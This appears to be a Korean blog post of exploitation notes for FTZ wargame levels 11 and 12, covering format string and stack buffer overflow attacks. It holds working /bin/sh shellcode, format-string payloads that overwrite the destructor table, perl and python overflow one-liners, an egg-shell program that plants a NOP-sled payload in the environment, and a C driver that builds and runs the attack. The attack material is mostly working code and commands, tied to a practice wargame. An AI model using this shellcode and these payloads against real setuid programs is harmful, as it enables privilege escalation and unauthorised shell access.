FSB Attack 순서 정리

 

 

* 포맷 스트링 버그가 있으면 특정 주소안에 들어있는 값을 마음대로 바꿀 수 있다.

 

 

 

1. 쉴 코드가 준비되어 있어야 한다.

char shellcode[] =

"\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"

"\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

 

 

2. 쉘 코드를 실행할 eggshell/egghunter를 준비한다.

없으면 getenv.c를 준비한다.

 

 

3. 공격순서

1) FSB 공격가능 여부 판단

ㄱ. 소스 코드 확인 (주어져 있을 경우) 없다면,

ㄴ. 스택안 내용이 출력되면 버그가 있는 것.

보통 8칸으로 되어 있어서 %8x로 체크하고

몇 번 반복해서 써야 41414141이 나오는지 확인한다.

$./attackme “AAAA %8x %8x %8x %8x”

몇 번까지 수행해야 AAAA가(41414141) 나오는지 확인

 

 

2) 공격 구문 선정

# /home/level11/attackme \

$(printf "AAAA주소1BBBB\주소2")%8x%8x%8x%숫자2c%n%숫자2c%n

 

 

3) 2개의 주소 찾기

주소1 : desdructor 주소

$ nm /home/level11/attackme 로 첫 번째 주소 값을 확인.

08049610 d __DTOR_END__

 

 

주소2 : 쉘코드 주소 (egg.c + getenv.c)

두 번째 주소는 egg 프로그램을 실행시켜야 알 수 있다.

[level11@ftz tmp]$ ./egg

Using address: 0xbfffde98

(변수의 값은 프로그램 재 실행시 매번 바뀐다)

 

 

4) 공격 구문 완성 (주소 숫자 찾기)

$(printf "AAAA\x10\x96\x04\x08BBBB\x12\x96\x04\x08")%8x%8x%8x%숫자1c%n%숫자2c%n /

$(printf"AAAA\x10\x96\x04\x08BBBB\x12\x96\x04\x08")%8x%8x%8x%62585c%n%52062c%n

 

f858 bfff

08049610 08049612

 

주소1 = 08049610

주소2 = 08049612

숫자1 = 0xf858 – 40

숫자2 = 0x1bfff – 0xf858

 

첫 주소 두번째주소

08049610, 0xbfffde98(08049612)

f4al bfff

 

16(주소2개 8+8) + 24(8x3) + 숫자1 = f4al(10진수 62625)

숫자 1= 62625-40

= 52585

 

f4al + 숫자2 = bfff

숫자2 = 1bfff – f4al

= cb5e(52062)

 

 

 

5) 공격 성공

 

 

공격 구문은 변하지 않지만 %8x 개수는 다를 수 있고

destructor의 주소 역시 변한다.

그에 따라 숫자값도 매번 계산해줘야 한다.

하지만 전체 공격 구문 틀은 변하지 않는다.

 

 

 

* 세그먼트 fault 가 나오면 숫자 입력이 잘못된 것.

 

 

 

 

 


 

 

 

 

BOF 공격용 코드 작성 (eggshell 포함)

 

 

 

eggshell : 환경변수의 정확한 주소를

파악하기 위한 프로그램

 

 

(perl -e 'print NOPx268 + "\xb8\xfa\xff\xbf"';cat)| /home/level12/attackme

(python -c 'print "A"*268 + "\xd4\xf6\xff\xbf"' ; cat) | /home/level12/attackme

 

 

1. (쉘코드 정의) => egg.c

2. (쉘코드의 주소 확인) => getenv.c

3. (공격 작업) => Attack_bof.c

 

[주의] 원격에서 쓸때는 아래와 같은 형식으로 파일을 만들어 쓴다.

# cat << EOF > file.c

>

>

> EOF

 

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define NOP 0x90

char shellcode[] =
 "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
 "\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

int main(int argc, char **argv)
{
        char *ptr, *superSH;
        int supershLen=2048;
        int i;

        if(!(superSH = malloc(supershLen)))
        {
                printf("Can't allocate memory for supershLen");
                exit(0);
        }

        ptr = superSH;
        for(i=0; i<supershLen - strlen(shellcode) - 1; i++)
                *(ptr++) = NOP;

        for(i=0; i<strlen(shellcode); i++)
                *(ptr++) = shellcode[i];

        superSH[supershLen - 1] = '\0';

        memcpy(superSH, "EGG=", 4);
        putenv(superSH);

        system("./Attack_bof6");
}

 

/* (1) header */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/* (2) global */
#define NOP 0x90

//char RET[] = "\xcc\xf4\xff\xbf";
char RET[4];

/* (3) function */
ConvertReturnAddress(char ReturnAddress[])
{
    char First[3];
    char Second[3];
    char Third[3];
    char Forth[3];

    First[0]=ReturnAddress[6];
    First[1]=ReturnAddress[7];
    First[2]='\0';
//  printf("%s\n", First);
    Second[0]=ReturnAddress[4];
    Second[1]=ReturnAddress[5];
    Second[2]='\0';
//  printf("%s\n", Second);
    Third[0]=ReturnAddress[2];
    Third[1]=ReturnAddress[3];
    Third[2]='\0';
//  printf("%s\n", Third);
    Forth[0]=ReturnAddress[0];
    Forth[1]=ReturnAddress[1];
    Forth[2]='\0';
//  printf("%s\n", Forth);

    RET[0]=strtol(First, NULL, 16);
    RET[1]=strtol(Second, NULL, 16);
    RET[2]=strtol(Third, NULL, 16);
    RET[3]=strtol(Forth, NULL, 16);
    RET[4]='\0';
}

/* (4) main function */
/* Attack Method : (perl -e 'print "A"*268,RET'; cat) | /home/level12/attackme */
int main()
{
        int retLen;
        char shellbuf[272];
        int i, j;
        char cmdbuf[350];
        char *env_pointer=NULL;
        unsigned long env_add_long=0x0;
        char ReturnAddress[9];

        // EGG address(Hex)
        // (Hex)bf ff f4 cc -> (str) cc f4 ff bf -> RET = (Hex) cc f4 ff bf
        env_pointer=getenv("EGG");
        env_add_long=(unsigned long) env_pointer;
//      printf("Hex : %lx\n", env_add_long);
        sprintf(ReturnAddress, "%lx", env_add_long);
//      printf("Str : %s\n", ReturnAddress);
//      printf("%c, %c\n", ReturnAddress[0], ReturnAddress[1]);

        ConvertReturnAddress(ReturnAddress);

        retLen = strlen(RET);
        for(i=0; i<sizeof(shellbuf)-retLen; i++)
                shellbuf[i] = NOP;
        for(j=0; j<retLen; j++)
                shellbuf[i++] = RET[j];
//      printf("%s\n", shellbuf);

        // (perl -e 'print "shellbuf"'; cat) | /home/level12/attackme
        sprintf(cmdbuf, "(perl -e \'print \"");
        strcat(cmdbuf, shellbuf);
        strcat(cmdbuf, "\"\'; cat) | /home/level12/attackme");
        strcat(cmdbuf, "\x0a");
//      printf("%s\n", cmdbuf);
        system(cmdbuf);

        return 0;
}
728x90

+ Recent posts